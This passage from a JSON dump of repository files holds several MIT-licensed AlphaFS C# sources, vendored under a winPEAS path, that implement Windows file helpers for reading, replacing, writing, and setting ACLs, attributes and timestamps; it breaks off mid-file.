    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\nusing StreamReader = System.IO.StreamReader;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Open a file, read all lines of the file with the specified encoding, and then close the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static string ReadAllTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding))\n\n            return sr.ReadToEnd();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadLinesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\nusing StreamReader = System.IO.StreamReader;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Reads the lines of a file that has a specified encoding.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static IEnumerable<string> ReadLinesCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding))\n         {\n            string line;\n\n            while (null != (line = sr.ReadLine()))\n\n               yield return line;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReplaceCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors.</summary>\n      /// <remarks>The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced.</remarks>\n      /// <remarks>\n      ///   If the <paramref name=\"sourceFileName\"/> and <paramref name=\"destinationFileName\"/> are on different volumes, this method will\n      ///   raise an exception. If the <paramref name=\"destinationBackupFileName\"/> is on a different volume from the source file, the backup\n      ///   file will be deleted.\n      /// </remarks>\n      /// <remarks>\n      ///   Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being\n      ///   replaced.\n      /// </remarks>\n      /// <param name=\"sourceFileName\">The name of a file that replaces the file specified by <paramref name=\"destinationFileName\"/>.</param>\n      /// <param name=\"destinationFileName\">The name of the file being replaced.</param>\n      /// <param name=\"destinationBackupFileName\">The name of the backup file.</param>\n      /// <param name=\"ignoreMetadataErrors\">\n      ///   <c>true</c> to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the\n      ///   replacement file; otherwise, <c>false</c>.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      internal static void ReplaceCore(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat)\n      {\n         const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck;\n\n         var sourceFileNameLp = sourceFileName;\n         var destinationFileNameLp = destinationFileName;\n\n\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            sourceFileNameLp = Path.GetExtendedLengthPathCore(null, sourceFileName, pathFormat, options);\n            destinationFileNameLp = Path.GetExtendedLengthPathCore(null, destinationFileName, pathFormat, options);\n         }\n\n\n         // Pass null to the destinationBackupFileName parameter if you do not want to create a backup of the file being replaced.\n         var destinationBackupFileNameLp = null == destinationBackupFileName\n            ? null\n            : Path.GetExtendedLengthPathCore(null, destinationBackupFileName, pathFormat, options);\n\n\n         const int replacefileWriteThrough = 1;\n         const int replacefileIgnoreMergeErrors = 2;\n\n\n         var dwReplaceFlags = (FileSystemRights) replacefileWriteThrough;\n\n         if (ignoreMetadataErrors)\n            dwReplaceFlags |= (FileSystemRights) replacefileIgnoreMergeErrors;\n\n\n         // ReplaceFile()\n         // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n         // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n\n         var success = NativeMethods.ReplaceFile(destinationFileNameLp, sourceFileNameLp, destinationBackupFileNameLp, dwReplaceFlags, IntPtr.Zero, IntPtr.Zero);\n\n         var lastError = (uint) Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, sourceFileNameLp, destinationFileNameLp);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetAccessControlCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/>/<see cref=\"DirectorySecurity\"/> object to the specified file or directory.</summary>\n      /// <remarks>Use either <paramref name=\"path\"/> or <paramref name=\"handle\"/>, not both.</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A file or directory to add or remove access control list (ACL) entries from. This parameter This parameter may be <c>null</c>.</param>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to add or remove access control list (ACL) entries from. This parameter This parameter may be <c>null</c>.</param>\n      /// <param name=\"objectSecurity\">A <see cref=\"FileSecurity\"/>/<see cref=\"DirectorySecurity\"/> object that describes an ACL entry to apply to the file or directory described by the <paramref name=\"path\"/>/<paramref name=\"handle\"/> parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      [SecurityCritical]\n      internal static void SetAccessControlCore(string path, SafeFileHandle handle, ObjectSecurity objectSecurity, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         if (pathFormat == PathFormat.RelativePath)\n            Path.CheckSupportedPathFormat(path, true, true);\n\n         if (objectSecurity == null)\n            throw new ArgumentNullException(\"objectSecurity\");\n\n\n         var managedDescriptor = objectSecurity.GetSecurityDescriptorBinaryForm();\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(managedDescriptor.Length))\n         {\n            var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars);\n\n            safeBuffer.CopyFrom(managedDescriptor, 0, managedDescriptor.Length);\n\n            SECURITY_DESCRIPTOR_CONTROL control;\n            uint revision;\n\n\n            var success = Security.NativeMethods.GetSecurityDescriptorControl(safeBuffer, out control, out revision);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError, pathLp);\n\n\n            PrivilegeEnabler privilegeEnabler = null;\n\n            try\n            {\n               var securityInfo = SECURITY_INFORMATION.None;\n               var pDacl = IntPtr.Zero;\n\n               if ((includeSections & AccessControlSections.Access) != 0)\n               {\n                  bool daclDefaulted, daclPresent;\n\n\n                  success = Security.NativeMethods.GetSecurityDescriptorDacl(safeBuffer, out daclPresent, out pDacl, out daclDefaulted);\n\n                  lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                     NativeError.ThrowException(lastError, pathLp);\n\n\n                  if (daclPresent)\n                  {\n                     securityInfo |= SECURITY_INFORMATION.DACL_SECURITY_INFORMATION;\n                     securityInfo |= (control & SECURITY_DESCRIPTOR_CONTROL.SE_DACL_PROTECTED) != 0 ? SECURITY_INFORMATION.PROTECTED_DACL_SECURITY_INFORMATION : SECURITY_INFORMATION.UNPROTECTED_DACL_SECURITY_INFORMATION;\n                  }\n               }\n\n\n               var pSacl = IntPtr.Zero;\n\n               if ((includeSections & AccessControlSections.Audit) != 0)\n               {\n                  bool saclDefaulted, saclPresent;\n\n\n                  success = Security.NativeMethods.GetSecurityDescriptorSacl(safeBuffer, out saclPresent, out pSacl, out saclDefaulted);\n\n                  lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                     NativeError.ThrowException(lastError, pathLp);\n                  \n                  \n                  if (saclPresent)\n                  {\n                     securityInfo |= SECURITY_INFORMATION.SACL_SECURITY_INFORMATION;\n                     securityInfo |= (control & SECURITY_DESCRIPTOR_CONTROL.SE_SACL_PROTECTED) != 0 ? SECURITY_INFORMATION.PROTECTED_SACL_SECURITY_INFORMATION : SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION;\n\n                     privilegeEnabler = new PrivilegeEnabler(Privilege.Security);\n                  }\n               }\n\n\n               var pOwner = IntPtr.Zero;\n\n               if ((includeSections & AccessControlSections.Owner) != 0)\n               {\n                  bool ownerDefaulted;\n\n\n                  success = Security.NativeMethods.GetSecurityDescriptorOwner(safeBuffer, out pOwner, out ownerDefaulted);\n\n                  lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                     NativeError.ThrowException(lastError, pathLp);\n\n\n                  if (pOwner != IntPtr.Zero)\n                     securityInfo |= SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION;\n               }\n\n\n               var pGroup = IntPtr.Zero;\n\n               if ((includeSections & AccessControlSections.Group) != 0)\n               {\n                  bool groupDefaulted;\n\n\n                  success = Security.NativeMethods.GetSecurityDescriptorGroup(safeBuffer, out pGroup, out groupDefaulted);\n\n                  lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                     NativeError.ThrowException(lastError, pathLp);\n\n\n                  if (pGroup != IntPtr.Zero)\n                     securityInfo |= SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION;\n               }\n\n\n\n\n               if (!Utils.IsNullOrWhiteSpace(pathLp))\n               {\n                  // SetNamedSecurityInfo()\n                  // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n                  lastError = (int) Security.NativeMethods.SetNamedSecurityInfo(pathLp, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, pOwner, pGroup, pDacl, pSacl);\n\n                  if (lastError != Win32Errors.ERROR_SUCCESS)\n                     NativeError.ThrowException(lastError, pathLp);\n               }\n\n               else\n               {\n                  if (NativeMethods.IsValidHandle(handle))\n                  {\n                     lastError = (int) Security.NativeMethods.SetSecurityInfo(handle, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, pOwner, pGroup, pDacl, pSacl);\n\n                     if (lastError != Win32Errors.ERROR_SUCCESS)\n                        NativeError.ThrowException(lastError);\n                  }\n               }\n            }\n            finally\n            {\n               if (null != privilegeEnabler)\n                  privilegeEnabler.Dispose();\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetAttributesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the attributes for a Non-/Transacted file or directory.</summary>\n      /// <remarks>\n      ///   Certain file attributes, such as <see cref=\"FileAttributes.Hidden\"/> and <see cref=\"FileAttributes.ReadOnly\"/>, can be combined.\n      ///   Other attributes, such as <see cref=\"FileAttributes.Normal\"/>, must be used alone.\n      /// </remarks>\n      /// <remarks>\n      ///   It is not possible to change the <see cref=\"FileAttributes.Compressed\"/> status of a File object using the SetAttributes method.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid, (for example, it is on an unmapped drive).</exception>\n      /// <exception cref=\"FileNotFoundException\">The file cannot be found.</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The name of the file or directory whose attributes are to be set.</param>\n      /// <param name=\"fileAttributes\">\n      ///    The attributes to set for the file or directory. Note that all other values override <see cref=\"FileAttributes.Normal\"/>.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void SetAttributesCore(KernelTransaction transaction, bool isFolder, string path, FileAttributes fileAttributes, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n            path = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n\n         var success = null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // SetFileAttributes()\n            // 2013-01-13: MSDN confirms LongPath usage.\n\n            ? NativeMethods.SetFileAttributes(path, fileAttributes)\n\n            : NativeMethods.SetFileAttributesTransacted(path, fileAttributes, transaction.SafeHandle);\n\n\n         var lastError = Marshal.GetLastWin32Error();\n\n         if (!success)\n         {\n            // MSDN: .NET 3.5+: ArgumentException: FileSystemInfo().Attributes\n\n            if (lastError == Win32Errors.ERROR_INVALID_PARAMETER)\n\n               throw new ArgumentException(Resources.Invalid_File_Attribute, \"fileAttributes\");\n\n\n            NativeError.ThrowException(lastError, isFolder, path);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetFsoDateTimeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the file or directory was created and/or last accessed and/or written to.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The file or directory for which to set the date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void SetFsoDateTimeCore(KernelTransaction transaction, bool isFolder, string path, DateTime? creationTimeUtc, DateTime? lastAccessTimeUtc, DateTime? lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         if (pathFormat == PathFormat.RelativePath)\n            Path.CheckSupportedPathFormat(path, false, false);\n\n         var eaAttributes = ExtendedFileAttributes.BackupSemantics;\n\n         if (modifyReparsePoint)\n            eaAttributes |= ExtendedFileAttributes.OpenReparsePoint;\n\n\n         //// Prevent a System.UnauthorizedAccessException from being thrown by resetting attributes to Normal.\n\n         //var fileAttributes = FileAttributes.Normal;\n         //var isReadOnly = IsReadOnly((FileAttributes) eaAttributes);\n         //var isHidden = IsHidden((FileAttributes) eaAttributes);\n\n         //if (isReadOnly || isHidden)\n         //   SetAttributesCore(transaction, isFolder, path, fileAttributes, PathFormat.LongFullPath);\n\n\n         using (var creationTime = SafeGlobalMemoryBufferHandle.FromLong(creationTimeUtc.HasValue ? creationTimeUtc.Value.ToFileTimeUtc() : (long?) null))\n\n         using (var lastAccessTime = SafeGlobalMemoryBufferHandle.FromLong(lastAccessTimeUtc.HasValue ? lastAccessTimeUtc.Value.ToFileTimeUtc() : (long?) null))\n\n         using (var lastWriteTime = SafeGlobalMemoryBufferHandle.FromLong(lastWriteTimeUtc.HasValue ? lastWriteTimeUtc.Value.ToFileTimeUtc() : (long?) null))\n\n         using (var safeFileHandle = CreateFileCore(transaction, isFolder, path, eaAttributes, null, FileMode.Open, FileSystemRights.WriteAttributes, FileShare.Delete | FileShare.Write, false, false, pathFormat))\n         {\n            var success = NativeMethods.SetFileTime(safeFileHandle, creationTime, lastAccessTime, lastWriteTime);\n\n            var lastError = Marshal.GetLastWin32Error();\n            \n            // Reset file system object attributes.\n\n            if (success)\n            {\n               //if (isReadOnly || isHidden)\n               //{\n               //   if (isReadOnly)\n               //      fileAttributes |= FileAttributes.ReadOnly;\n\n               //   if (isHidden)\n               //      fileAttributes |= FileAttributes.Hidden;\n\n               //   fileAttributes &= ~FileAttributes.Normal;\n\n               //   SetAttributesCore(transaction, isFolder, path, fileAttributes, PathFormat.LongFullPath);\n               //}\n            }\n\n            else\n               NativeError.ThrowException(lastError, isFolder, path);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.WriteAllBytesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Creates a new file as part of a transaction, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"bytes\">The bytes to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"bytes\")]\n      [SecurityCritical]\n      internal static void WriteAllBytesCore(KernelTransaction transaction, string path, byte[] bytes, PathFormat pathFormat)\n      {\n         if (null == bytes)\n            throw new ArgumentNullException(\"bytes\");\n\n         using (var fs = OpenCore(transaction, path, FileMode.Create, FileAccess.Write, FileShare.Read, ExtendedFileAttributes.Normal, null, null, pathFormat))\n\n            fs.Write(bytes, 0, bytes.Length);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.WriteAppendAllLinesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing 